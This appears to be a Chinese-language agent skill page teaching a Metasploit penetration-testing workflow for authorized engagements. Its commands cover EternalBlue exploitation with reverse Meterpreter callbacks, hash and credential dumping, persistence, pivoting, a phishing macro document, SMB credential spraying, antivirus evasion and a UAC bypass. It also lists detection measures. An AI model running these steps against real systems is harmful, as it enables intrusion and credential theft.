pentest-metasploit pentest-metasploit

这是一个使用Metasploit框架进行渗透测试、漏洞验证和授权安全评估的技能。它包括了从验证授权和范围、配置工作区和目标枚举、选择和配置漏洞利用、执行漏洞利用、进行后利用活动,到清理工件和会话等一系列结构化工作流程。

渗透测试 0 次安装 0 次浏览 更新于 3/1/2026

Metasploit框架渗透测试

概述

Metasploit框架是渗透测试、漏洞验证和漏洞开发行业的标准平台。这项技能提供了授权的进攻性安全操作的结构化工作流程,包括利用、后利用和有效载荷交付。

重要:这项技能仅用于授权的安全测试。在进行渗透测试活动之前,始终确保有适当的授权、范围文件和法律合规性。

快速开始

初始化Metasploit控制台并验证数据库连接:

# 启动PostgreSQL数据库(工作区管理所需)
sudo systemctl start postgresql

# 初始化Metasploit数据库
msfdb init

# 启动Metasploit控制台
msfconsole

# 验证数据库连接
msf6 > db_status

核心工作流程

渗透测试工作流程

进度: [ ] 1. 验证授权和范围 [ ] 2. 配置工作区和目标枚举 [ ] 3. 识别和选择适当的漏洞利用 [ ] 4. 配置有效载荷和漏洞利用选项 [ ] 5. 执行漏洞利用并进行适当记录 [ ] 6. 进行后利用活动(如果授权) [ ] 7. 进行影响评估并记录结果 [ ] 8. 清理工件和会话

系统地完成每个步骤。勾选已完成的项目。

1. 授权验证

关键:在任何测试活动之前:

  • 确认资产所有者的书面授权
  • 查看范围文件以确定在范围内的目标
  • 验证授权测试的IP范围和系统
  • 确认允许的测试窗口和黑暗期
  • 记录紧急升级的联系点

2. 工作区设置

为参与创建隔离的工作区:

msf6 > workspace -a <参与名称>
msf6 > workspace <参与名称>
msf6 > db_nmap -sV -sC -O <目标IP范围>

导入现有的侦察数据:

msf6 > db_import /path/to/nmap-scan.xml
msf6 > hosts
msf6 > services

3. 漏洞利用选择

根据枚举的服务搜索相关的漏洞利用:

msf6 > search type:exploit platform:windows <服务名称>
msf6 > search cve:<cve-id>
msf6 > search eternalblue

评估漏洞利用的适用性:

  • 可靠性排名:优秀 > 伟大 > 好 > 正常 > 平均
  • 稳定性:检查崩溃潜力
  • 目标兼容性:验证操作系统版本和架构
  • 所需凭据:确定是否需要身份验证

4. 漏洞利用配置

配置选定的漏洞利用模块:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS <目标IP>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RPORT 445

# 配置有效载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST <监听器IP>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 443

# 验证配置
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(windows/smb/ms17_010_eternalblue) > check

5. 漏洞利用执行

执行漏洞利用并记录:

# 启用日志记录
msf6 exploit(windows/smb/ms17_010_eternalblue) > spool /path/to/logs/engagement-<日期>.log

# 运行漏洞利用
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

# 或者不自动交互运行
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j

漏洞利用结果

  • 会话打开:成功漏洞利用,继续后利用
  • 漏洞利用失败:审查目标兼容性,尝试替代漏洞利用
  • 目标不脆弱:记录发现,移动到下一个目标
  • 服务崩溃:记录稳定性问题,如果授权,尝试恢复服务

6. 后利用(仅限授权活动)

一旦建立会话,进行授权的后利用:

# 列出活动会话
msf6 > sessions -l

# 与会话交互
msf6 > sessions -i <会话ID>

# 收集系统信息
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getprivs

# 检查网络配置
meterpreter > ipconfig
meterpreter > route

# 枚举正在运行的进程
meterpreter > ps

# 检查安全控制
meterpreter > run post/windows/gather/enum_av_excluded
meterpreter > run post/windows/gather/enum_logged_on_users

常见后利用模块

  • post/windows/gather/hashdump - 提取密码哈希(需要SYSTEM权限)
  • post/multi/recon/local_exploit_suggester - 识别权限提升机会
  • post/windows/gather/credentials/credential_collector - 收集存储的凭据
  • post/windows/manage/persistence_exe - 建立持久性(如果明确授权)

7. 权限提升

如果授权进行权限提升:

# 识别提升向量
meterpreter > run post/multi/recon/local_exploit_suggester

# 迁移到稳定进程
meterpreter > ps
meterpreter > migrate <稳定进程PID>

# 尝试权限提升
meterpreter > getsystem
meterpreter > getuid

手动权限提升工作流程:

  1. 后台当前会话:background
  2. 选择提升模块:use exploit/windows/local/<提升模块>
  3. 设置会话:set SESSION <会话ID>
  4. 运行漏洞利用:exploit

8. 横向移动

对于授权的内部渗透测试:

# 枚举网络
meterpreter > run post/windows/gather/arp_scanner RHOSTS=<内部子网>
meterpreter > run auxiliary/scanner/smb/smb_version

# 通过被妥协的主机进行跳转
meterpreter > run autoroute -s <内部子网>/24

# 使用被妥协的主机作为代理
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > run -j

为跳转配置proxychains:

# 编辑/etc/proxychains4.conf
socks4 127.0.0.1 1080

# 通过跳转运行工具
proxychains nmap -sT -Pn <内部目标>

安全考虑

授权和法律合规

  • 书面授权:保持签署的渗透测试协议
  • 范围遵守:仅测试明确授权的系统和网络
  • 数据保护:根据参与规则处理发现的数据
  • 事件响应:立即报告关键发现,按照升级程序
  • 证据处理:维护取证证据的保管链

操作安全

  • 回调基础设施:使用专用的、授权的回调服务器
  • 归因预防:避免个人基础设施或可识别的指标
  • 流量加密:使用加密的有效载荷(HTTPS、DNS隧道)
  • 工件清理:参与后删除漏洞利用工件
  • 会话管理:干净地关闭会话,以避免检测警报

审计日志记录

记录所有渗透测试活动:

  • 漏洞利用尝试的时间戳
  • 源和目标系统
  • 使用的漏洞利用模块和有效载荷
  • 会话中执行的命令
  • 访问或泄露的数据
  • 权限提升尝试
  • 横向移动行动

合规性

  • PTES:渗透测试执行标准合规性
  • OWASP:与应用安全测试方法对齐
  • MITRE ATT&CK:将TTP映射到ATT&CK框架进行威胁建模
  • PCI-DSS 11.3:支付卡环境的渗透测试
  • SOC2:服务组织控制的安全测试

常见模式

模式1:Web应用程序漏洞利用

msf6 > use exploit/multi/http/apache_struts2_content_type_ognl
msf6 exploit(...) > set RHOSTS <web-server>
msf6 exploit(...) > set TARGETURI /vulnerable-app
msf6 exploit(...) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(...) > exploit

模式2:数据库服务器漏洞利用

# SQL Server漏洞利用
msf6 > use exploit/windows/mssql/mssql_payload
msf6 exploit(mssql_payload) > set RHOSTS <sql-server>
msf6 exploit(mssql_payload) > set USERNAME sa
msf6 exploit(mssql_payload) > set PASSWORD <password>
msf6 exploit(mssql_payload) > exploit

模式3:钓鱼活动交付

# 生成恶意文档
msf6 > use exploit/windows/fileformat/office_word_macro
msf6 exploit(office_word_macro) > set FILENAME report.docm
msf6 exploit(office_word_macro) > set PAYLOAD windows/meterpreter/reverse_https
msf6 exploit(office_word_macro) > set LHOST <回调服务器>
msf6 exploit(office_word_macro) > exploit

# 设置监听器
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST <回调服务器>
msf6 exploit(multi/handler) > set LPORT 443
msf6 exploit(multi/handler) > exploit -j

模式4:凭证喷洒

msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS file:/path/to/targets.txt
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser Administrator
msf6 auxiliary(scanner/smb/smb_login) > set SMBPass <common-password>
msf6 auxiliary(scanner/smb/smb_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/smb/smb_login) > run

集成点

CI/CD集成

在安全管道中自动验证漏洞:

# 无头Metasploit资源脚本
cat > exploit_validation.rc <<EOF
workspace -a ci-validation
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS \${TARGET_IP}
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST \${CALLBACK_IP}
exploit -z
exit
EOF

# 运行无头验证
msfconsole -r exploit_validation.rc -o validation_results.txt

安全工具集成

  • Nmap集成:使用db_import导入侦察数据
  • Cobalt Strike:将会话导出到Cobalt Strike信标
  • Empire:将会话交接给PowerShell Empire框架
  • BloodHound:结合Active Directory枚举
  • Burp Suite:集成Web漏洞发现

MITRE ATT&CK映射

将Metasploit活动映射到ATT&CK框架:

  • 初始访问:T1190(利用公共面向应用程序)
  • 执行:T1059(命令和脚本解释器)
  • 持久性:T1547(启动或登录自动启动执行)
  • 权限提升:T1068(利用权限提升)
  • 凭证访问:T1003(操作系统凭证转储)
  • 横向移动:T1021(远程服务)
  • 收集:T1005(来自本地系统的数据)
  • 外泄:T1041(通过C2频道外泄)

故障排除

问题:会话立即死亡

原因

  • 有效载荷被防病毒软件检测到
  • 与有效载荷架构不兼容(x86 vs x64)
  • 防火墙阻止回调连接

解决方案

# 尝试规避技术
msf6 > use evasion/windows/windows_defender_exe
msf6 evasion(...) > set PAYLOAD windows/meterpreter/reverse_https
msf6 evasion(...) > generate -f /path/to/evaded_payload.exe

# 使用分阶段有效载荷而不是无阶段有效载荷
set PAYLOAD windows/meterpreter/reverse_https  # 分阶段
# vs
set PAYLOAD windows/meterpreter_reverse_https  # 无阶段

# 会话建立后立即迁移
meterpreter > run post/windows/manage/migrate

问题:漏洞利用失败,没有创建会话

原因

  • 目标不脆弱
  • 目标版本或架构不正确
  • 有效载荷兼容性问题

解决方案

# 验证目标漏洞
msf6 exploit(...) > check

# 手动调整目标
msf6 exploit(...) > show targets
msf6 exploit(...) > set TARGET <目标索引>

# 尝试替代有效载荷
msf6 exploit(...) > show payloads
msf6 exploit(...) > set PAYLOAD <替代有效载荷>

问题:无法提升权限

解决方案

# 枚举提升机会
meterpreter > run post/multi/recon/local_exploit_suggester

# 尝试替代技术
meterpreter > getsystem -t 1  # 命名管道模拟
meterpreter > getsystem -t 2  # 命名管道模拟(管理员下降)
meterpreter > getsystem -t 3  # 令牌复制

# 如果适用,使用UAC绕过
meterpreter > background
msf6 > use exploit/windows/local/bypassuac_injection
msf6 exploit(bypassuac_injection) > set SESSION <会话ID>
msf6 exploit(bypassuac_injection) > exploit

防御考虑

组织可以通过以下方式检测Metasploit活动:

  • 网络IDS:基于签名的默认Metasploit有效载荷检测
  • 端点检测:meterpreter进程注入的行为分析
  • 流量分析:非标准端口的异常出站HTTPS连接
  • 内存取证:检测反射DLL注入技术
  • 日志分析:异常的身份验证模式或进程执行

增强防御姿态:

  • 部署端点检测和响应(EDR)解决方案
  • 启用PowerShell脚本块日志记录
  • 监控不寻常的父子进程关系
  • 实施应用程序白名单
  • 使用网络分段和监控检测横向移动

参考资料